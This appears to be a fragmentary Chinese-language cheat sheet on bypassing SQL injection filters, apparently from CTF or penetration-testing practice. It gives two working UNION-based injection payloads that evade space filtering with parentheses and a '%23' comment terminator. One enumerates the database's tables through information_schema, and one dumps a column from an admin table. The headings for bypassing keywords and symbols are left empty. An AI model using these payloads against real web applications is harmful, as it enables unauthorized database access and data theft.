[select name,ip from admin where age='1'and'0'union(select(1),(group_concat(table_name))from(information_schema.tables)where(table_schema)=database())%23]
[select name,ip from admin where age='1'and'0'union(select(1),group_concat(pwn)from(ltlt.admin))%23]
0x01[过滤绕过]
绕过空格
() [括号包围子查询,括号两端可以没有空格,注意语法正确性]
绕过单词
绕过符号